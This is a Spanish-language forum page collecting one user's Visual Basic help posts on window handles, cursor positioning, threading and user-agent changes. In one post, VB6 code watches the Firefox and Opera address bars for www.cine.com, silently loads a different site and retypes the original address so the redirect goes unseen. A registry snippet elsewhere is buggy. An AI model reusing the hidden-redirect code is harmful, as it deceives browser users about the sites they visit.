Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - m[a]rkus

Páginas: [1] 2 3
1
Visual Basic 6 / Obtener coordenadas de un flash dentro de una web.
« en: Noviembre 16, 2011, 11:21:43 am »
Hola, mi duda es si alguien sabría obtener las coordenadas de un flash que haya dentro de una web ? he intentado ver el hw del flash con Spy++ pero me es imposible, si alguien me puede ayudar lo agradeceria. Saludos

2
Hola a todos, llevo días intentando encontrar información sobre como leer el codigo HTML que llegan a los navegadores y poder modificarlo de ser necesario, vi una aplicación que lo hacia eliminando la palabra sexo por otra etc (un programa de protección infantil) , también otro que incluía en la página de youtube unos enlaces abajo del video para descargarlo (Sin instalar ningún plugin en el navegador). Yo simplemente quiero un ejemplo que exista o alguna idea para poder guiarme es que no encuentro ninguna información en español y en ingles tampoco. Gracias por su tiempo si llego a leer todo el post,

mku.

3
Hola, pues es muy sencillo, dentro del hilo pongo Formalgo.showdialog() y cuando lo abre esta sin bordes la ventana solo me carga el webbrowser que tengo dentro hace el navigate y ahi se queda.. estoy depurando paso por paso y lo hace todo bien supuestamente pero lo visual no dice lo mismo, no se si me he explicado...

4
:) si que he leído un poquito, y ya busque información sobre el error, no se que es....

pero gracias por su respuesta me sirvió de mucho ...

5
Visual Basic .NET / C# / [VB.NET] NexIRC (Cliente IRC) Código Abierto
« en: Agosto 03, 2011, 01:50:03 pm »
Hola, como veo el subforo de VB.NET un poco muerto les dejo el codigo de un cliente de IRC desarrollado en Vb.NET es una copia muy similar al mIRC, contiene incluso su propio lenguaje de scripting. Bueno espero les resulte interesante:

Descarga: nexIRC_3_12124068202008.zip (1.81MB)

6
Hola, pues tengo el siguiente problema tengo un formulario:

Código: [Seleccionar]
Dim frmADS As New frmVentas

El cual inicio en el Main() :


Código: [Seleccionar]
frmADS .ShowDialog()

Hasta aquí todo bien, se abre y todo sin problemas, una vez que no lo necesito le doy un:


Código: [Seleccionar]
Me.Close

Y la próxima vez que quiero usarlo tengo que iniciarlo desde un Hilo y al iniciarlo me da un error de ActiveX que no puede iniciarse en el mismo subproceso. Lo inicio de esta manera:


Código: [Seleccionar]
Dim frmVentas_T As New Thread(AddressOf frmADS .ShowDialog)
frmVentas_T.start()


Bueno si alguien tiene idea de porque pueda ser ? he buscado en Google y aparecen varias soluciones que ninguna corresponde.


Saludos y Gracias.

7
Visual Basic 6 / Re:Problema con SendMenssage y Google Chrome
« en: Diciembre 30, 2010, 04:21:32 pm »
Muchas Gracias funciona perfecto, pero ahora tengo un problema parecido pero con Firefox y Opera que no tienen hwnd para la barra de navegación, alguna idea de como se puede cambiar ? tengo esto hecho fue lo que se me ocurrio.
Código: (vb) [Seleccionar]
Option Explicit
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByVal pData As Long, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Const XCLASS_DATA   As Long = &H2000
Private Const XTYP_REQUEST  As Long = (&HB0 Or XCLASS_DATA)

Private Const CP_WINANSI    As Long = 1004
Private Const CF_TEXT       As Long = 1

Private Const FIREFOX       As String = "firefox"
Private Const OPERA         As String = "opera"
Private Const IEXPLORER     As String = "iexplore"
'-------------------------------------------

Private Const WBuscar As String = "www.cine.com"
Private Const WFalsa As String = "www.cinemas.com"



Private Function GetBrowserInfo(ByVal sServer As String) As String
 
    Dim lpData  As Long, hData   As Long, sData  As String
    Dim hServer As Long, hTopic  As Long, hItem  As Long
    Dim hConv   As Long, idInst  As Long
    Dim sBuffer As String
 
    Const sTopic = "WWW_GetWindowInfo"
    Const sItem = "0xFFFFFFFF"
 
    If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function
 
    hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
    hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
    hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)
 
    hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)
 
    If hConv Then
        hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
 
        lpData = DdeAccessData(hData, 500)
       
        sBuffer = String(500, Chr(0))
   
        lstrcpy sBuffer, lpData
       
        GetBrowserInfo = Left$(sBuffer, InStr(sBuffer, Chr(0)) - 1)
 
        DdeUnaccessData hData
        DdeFreeDataHandle hData
        DdeDisconnect hConv
    End If
 
    DdeFreeStringHandle idInst, hServer
    DdeFreeStringHandle idInst, hTopic
    DdeFreeStringHandle idInst, hItem
    DdeUninitialize idInst
 
End Function
 

Private Sub Form_Load()
   ' MsgBox GetBrowserInfo(OPERA)
   ' MsgBox GetBrowserInfo(IEXPLORER)
   ' MsgBox GetBrowserInfo(FIREFOX)
End Sub

Private Sub Timer1_Timer()
Debug.Print GetBrowserInfo(FIREFOX)
Debug.Print GetBrowserInfo(OPERA)
If InStr(1, GetBrowserInfo(FIREFOX), WBuscar) Then
Call CambiarURL
Else
If InStr(1, GetBrowserInfo(OPERA), WBuscar) Then
Call CambiarURLOP
End If
End If
End Sub

Private Sub CambiarURL()
Timer1.Enabled = False
'MsgBox ("Entro al F6")
SendKeys ("{F6}")
Sleep (250)
SendKeys (WFalsa)
Sleep (100)
SendKeys ("{ENTER}")
'Timer1.Enabled = True
Sleep (250)
SendKeys ("{F6}")
SendKeys (WBuscar)
Sleep (100)
SendKeys ("{ESC}")
End Sub

Private Sub CambiarURLOP()
Timer1.Enabled = False
SendKeys ("{F8}")
Sleep (250)
SendKeys (WFalsa)
Sleep (100)
SendKeys ("{ENTER}")
'Timer1.Enabled = True
Sleep (250)
SendKeys ("{F8}")
SendKeys (WBuscar)
Sleep (100)
SendKeys ("{ESC}")
End Sub



8
Visual Basic 6 / Problema con SendMenssage y Google Chrome
« en: Diciembre 28, 2010, 06:34:44 pm »
Bueno el probleme en si es k estoy tratando de obtener todas las ventanas hijo (Childs) del google chrome para coger solo una que me interesa pero al listarlas no me da ninguna ventana hijo desde la ventana padre pero con el Spy++ y el WinId si me sale la ventana hijo que quiero que es  "Chrome_AutocompleteEditView" , por lo que queria ver si me pueden ayudar a encontrar esa ventana del Chrome, hasta ahora eh estado provando con este code y  me funciona con cualquier otro programa que no sea Chrome pero no para el mismo :

Código: (vb) [Seleccionar]

Option Explicit

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Private Const WM_SETTEXT As Long = &HC
 
Private lCount As Long
 
Sub Main()

    Call Chrome("Hola JAJA?")
   
End Sub


Public Function Chrome(ByVal pNewURL As String) As Boolean
   
    Dim phWnd As Long
   
    Const pClass As String = "Chrome_WidgetWin_0"
    Const pURL As String = "Chrome_AutocompleteEditView"
   
    phWnd = FindWindow(pClass, vbNullString)
 
   ' SendMessage ByVal &H209A0, WM_SETTEXT, 0, ByVal pNewURL
   
 
    If phWnd <> 0 Then
       
        phWnd = FindWindowEx(phWnd, 0&, ByVal pURL, vbNullString)
       
        EnumWindows phWnd
 
    End If
   
End Function

 
Private Function CallBackEnumWindowChild(ByVal handle As Long, ByVal lParam As Long) As Boolean
    CallBackEnumWindowChild = True
   
    Dim pBuffer As String * 260
   
    GetWindowText handle, pBuffer, Len(pBuffer)
   
    pBuffer = Left$(pBuffer, InStr(1, pBuffer, Chr$(0)) - 1)
   
    Debug.Print pBuffer
   
    'SendMessage ByVal phWnd, WM_SETTEXT, 0, pNewURL
   
   
    lCount = lCount + 1
End Function

Public Sub EnumWindows(lHwnd As Long)
  lCount = 0
   If lHwnd <> 0 Then
        EnumChildWindows lHwnd, AddressOf CallBackEnumWindowChild, ByVal 0&
   End If
End Sub


Saludos y espero que me puedan echar una manito ;)

9
Visual Basic 6 / Re:Problemas de SetCursorPos y resolución de pantalla.
« en: Agosto 13, 2010, 01:54:08 pm »
xbiz muchisimas gracias, era eso lo que buscaba, en serio te lo agradezco lo que pueda hacer por usted y por miguel aqui estoy el tiene mi msn, sin ningun problema. Este foro lo que mas me gusta es la ayuda incondicional que dan ante todo, bueno que pasen muy buen dia y repito lo que puedan necesitar diganmelo si esta en mis manos lo hare.


10
Visual Basic 6 / Re:Problemas de SetCursorPos y resolución de pantalla.
« en: Agosto 13, 2010, 12:40:10 pm »
Bueno con frmPrincipal.ScaleHeight & frmPrincipal.ScaleWidth obtengo unas coord pero que no son las correctas al menos en pixels para poder usarlas con "SetCursorPos" a ver si logro convertirlas

11
Visual Basic 6 / Re:Problemas de SetCursorPos y resolución de pantalla.
« en: Agosto 13, 2010, 12:31:42 pm »
Gracias bro xkiz pero no es exactamente lo que busco, veras necesito hacer clic en una ventana que siempre esta en el centro de la pantalla, pero que las coord del SetCursorPos siempre cambian debido a la resolución, entonces hay varias soluciones la mejor que se me ocurre es alguna API que me diga las coord de la ventana esa y una vez que tenga esas coord solo tendria que sumarle las coord de llegar a donde quiero. No se si se entienda ?

Gracias

12
General / Re:Correos electronicos de todos
« en: Agosto 12, 2010, 09:21:01 pm »
Hola a todos bueno yo tambien pongo mis datos:

MSN: markus@markus.exe
Mail: root@qvanos.net

13
Visual Basic 6 / Re:[DUDA] Como cambiar el USER-AGENT al Webbrowser ?
« en: Agosto 12, 2010, 09:15:17 pm »
Bueno pues buscando en el registro me tope con cierta clave que contiene los datos del user-agent del internet explorer los cambie y al reiniciar el webbrowser cambia el user agent. El codigo esta a continuacion.


Código: [Seleccionar]
Private Sub CNav()
reg2 = "Firefox/3.2.1" & Chr(34) & " /f" ' Aqui pones el user-agent que necesites.
reg1 = "%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD " & Chr(34) & "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent" & Chr(34) & " /v Version /d " & Chr(34) & reg2
Shell ("reg1")
End Sub

14
Hola, bueno la verdad estoy haciendo un programa y tengo un problema, yo necesito poner el foco del mouse en un lugar especifico y lo logro pero solo con mi resolucion, ya que cuando pongo una resolucion mas alta o mas baja simplemente no esta el mouse donde tiene que estar, tienes alguna idea de como puedo arreglar esto ? alguna funcion que modifique las coord dependiendo de la resolucion ?

Gracias

PD: El formulario siempre esta en el centro de la pantalla. Gracias

15
Visual Basic 6 / Re:Como creo un exe desde el propio vb6.0 ?
« en: Agosto 09, 2010, 04:03:07 am »
Si entendi, pero en que parte de la web hay ejemplos sobre esto ? un amigo me dijo algo de createobject pero la verdad ni idea nunca eh hecho lago parecido, gracias leandoA.

Páginas: [1] 2 3